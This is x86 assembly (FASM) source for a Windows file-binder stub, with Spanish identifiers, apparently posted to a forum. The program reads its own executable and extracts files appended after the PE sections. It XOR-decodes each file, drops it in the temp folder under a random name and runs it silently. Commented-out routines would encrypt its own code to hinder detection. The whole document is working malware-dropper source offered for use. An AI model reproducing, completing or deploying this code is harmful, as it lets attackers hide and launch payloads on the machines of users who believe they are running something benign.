include 'win32ax.inc'
entry Start
;.data
;macro encrypt dstart,dsize {
; local ..char,..key,..shift
; repeat dsize
; load ..char from dstart+%-1
; ..char = byte not ..char
; store ..char at dstart+%-1
; end repeat
;}
;macro crypt start,length,key {
; local x,y,key_size,key_pos
; virtual at 0
; db key
; key_size = $
; end virtual
; key_pos = 0
; repeat length
; load x from start+%-1
; virtual at 0
; db key
; load y from key_pos
; end virtual
; x = x xor y
; store x at start+%-1
; key_pos = key_pos + 1
; if key_pos >= key_size
; key_pos = 0
; end if
; end repeat
;}
punto equ ".",0,0
tipo equ '%',0,'s',0,'%',0,'d',0,"%",0,"s",0,"%",0,"s",0,0
section '.code' code readable executable writeable
proc Start
locals
struct DatosFile
Tamaño dd ?
Extensión rb 3
Ejecutar rb 1
Extension2 rb 8
Extension3 rb 8
Ruta rb MAX_PATH*2
Ruta2 rb MAX_PATH*2
Ejecutar2 rb 3
ends
struct MisDatos
Miruta dd ?
Yo dd ?
DirEOF dd ?
MiTamaño dd ?
ends
DF DatosFile
TamañoDatos dd ?
bytesLeidos dd ?
NumeroDeArch dd ?
MD MisDatos
endl
; mov edx,rstart
; xor eax,eax
; mov ecx,code_size
;@@: not byte [edx]
; inc edx
; loop @B
; call decrypt_code
;rstart:
;rstart:
;MOV EAX, [FS:30h]
;MOV EAX, [EAX + 10h]
;MOV EAX, [EAX + 3Ch]
;mov [MD.Miruta],eax
invoke GetCommandLineW
add eax,2
mov [MD.Miruta],eax
.bucle3:
add eax,1
cmp byte[eax],'"'
jne .bucle3
mov word[eax],0
;invoke GlobalAlloc,GPTR,MAX_PATH*2
;mov [MD.Miruta],eax
;invoke GetModuleFileNameW,0,eax,MAX_PATH*2
invoke CreateFileW,[MD.Miruta], 80000000h , 0, 0, 3, 0, 0
mov dword[ebx+4],eax
invoke GetFileSize,eax, 0
mov [MD.MiTamaño],eax
invoke GlobalAlloc,GPTR,eax
mov [MD.Yo],eax
invoke ReadFile,dword[ebx+4],[MD.Yo],[MD.MiTamaño],addr bytesLeidos, NULL
invoke CloseHandle, dword[ebx+4]
stdcall EOFExtraDataExtract,[MD.Yo]
mov [MD.DirEOF],eax
mov eax,[MD.MiTamaño]
sub eax,4
add eax,[MD.Yo]
mov eax,dword[eax]
mov [NumeroDeArch],eax
mov eax,8
mul [NumeroDeArch]
mov [TamañoDatos],eax
mov eax,[MD.MiTamaño]
sub eax,4
sub eax,[TamañoDatos]
add eax,[MD.Yo]
xchg ebx,eax
mov esi,[MD.Yo]
add esi,[MD.DirEOF]
.bucle:
dec [NumeroDeArch]
stdcall Zerar,addr DF,8+MAX_PATH*2+MAX_PATH*2+16
lea edx,[DF]
mov eax,dword[ebx]
mov dword[edx],eax
mov eax,dword[ebx+4]
mov dword[edx+4],eax
invoke GetTempPathW,MAX_PATH*2, addr DF.Ruta
mov cx,word[DF.Extensión]
mov word[DF.Extension2],cx
mov ch,byte[DF.Extensión+2]
mov byte[DF.Extension2+2],ch
stdcall Confusor, addr DF.Extension2,3
mov cl,byte[DF.Ejecutar]
mov byte[DF.Ejecutar2],cl
stdcall Confusor, addr DF.Ejecutar2,1
stdcall ASCIITOUNICODE,addr DF.Extension2 ,addr DF.Extension3
RDTSC
invoke wsprintfW,addr DF.Ruta2,tipo,addr DF.Ruta ,eax,punto,addr DF.Extension3
invoke CreateFileW, addr DF.Ruta2, 40000000h , 0, 0, 2, 0, 0
push eax
stdcall EncriptacionXOR,esi,[DF.Tamaño]
pop eax
push eax
invoke WriteFile, eax, esi, [DF.Tamaño],addr bytesLeidos, NULL
pop eax
invoke CloseHandle,eax
stdcall Ejecutar,addr DF.Ejecutar2,addr DF.Ruta2
cmp [NumeroDeArch],0
jne .Seguir
invoke ExitProcess,0
.Seguir:
add esi, [DF.Tamaño]
add ebx,8
jmp .bucle
endp
proc Ejecutar,cPuntero,cRuta
locals
struct SHELLEXECUTEINFO
cbSize dd ?
fMask dd ?
hwnd dd ?
lpVerb dd ?
lpFile dd ?
lpParameters dd ?
lpDirectory dd ?
nShow dd ?
hInstApp dd ?
; Optional fields
lpIDList dd ?
lpClass dd ?
hkeyClass dd ?
dwHotKey dd ?
hIcon dd ?
hProcess dd ?
ends
SI SHELLEXECUTEINFO
endl
mov eax,[cPuntero]
cmp byte[eax],"1"
jne @f
xor eax,eax
mov [SI.cbSize],60
mov [SI.fMask],eax
mov [SI.hwnd],eax
mov [SI.lpVerb],eax
push [cRuta]
pop [SI.lpFile]
mov [SI.lpParameters],eax
mov [SI.lpDirectory],eax
mov [SI.nShow],1
mov [SI.hInstApp],eax
invoke ShellExecuteExW,addr SI
@@:
ret
endp
proc Confusor,cPuntero,cAumentar
mov eax,[cPuntero]
add eax,[cAumentar]
mov word[eax],0
ret
endp
proc ASCIITOUNICODE,Cadena,Buffer
push ecx ebx
mov eax,[Cadena]
mov ebx,[Buffer]
dec eax
dec ebx
dec ebx
.bucle:
add eax,1
cmp byte[eax],0
je .salir
inc ebx
inc ebx
mov cl,byte[eax]
mov byte[ebx],cl
mov byte[ebx+1],0
jmp .bucle
.salir:
pop ebx ecx
ret
endp
proc EncriptacionXOR,cCadena,cTamaño
push ebx
xor ebx,ebx
push [cTamaño]
pop ebx
.Start:
mov eax,[cCadena]
inc ebx
dec eax
.bucle:
dec ebx
cmp ebx,0
jbe .salir
add eax,1
xor byte[eax],49
jmp .bucle
.salir:
pop ebx
ret
endp
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
proc EOFExtraDataExtract,FHandle
push esi ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h] ;pointerToRawData
pop ebx esi
ret
endp
;finx:
;finx:
; code_size = finx - rstart
; encrypt rstart,code_size
; decrypt_code:
; mov edi,rstart
; mov ecx,finx-rstart
; @@:
; xor byte[edi],8
; inc edi
; dec ecx
; test ecx,ecx
; jnz @b
; ret
;crypt rstart ,finx-rstart ,8
section '.idata' import data readable writeable
library kernel32,'kernel32.dll',user32,'user32.dll',shell32,'SHELL32.DLL'
import kernel32,\
GetCommandLineW ,"GetCommandLineW",\
CreateFileW,'CreateFileW',\
GetFileSize,"GetFileSize",\
GlobalAlloc,"GlobalAlloc",\
ReadFile,"ReadFile",\
CloseHandle,"CloseHandle",\
GetTempPathW,"GetTempPathW",\
WriteFile,"WriteFile", ExitProcess,"ExitProcess",GetModuleFileNameW,"GetModuleFileNameW"
import user32, wsprintfW,"wsprintfW"
import shell32,ShellExecuteExW,"ShellExecuteExW"
section '.reloc' fixups data discardable
Autor
![WWW](data:text/html,<img src="http://img199.imageshack.us/img199/7002/norris.gif" />;http://)
En línea
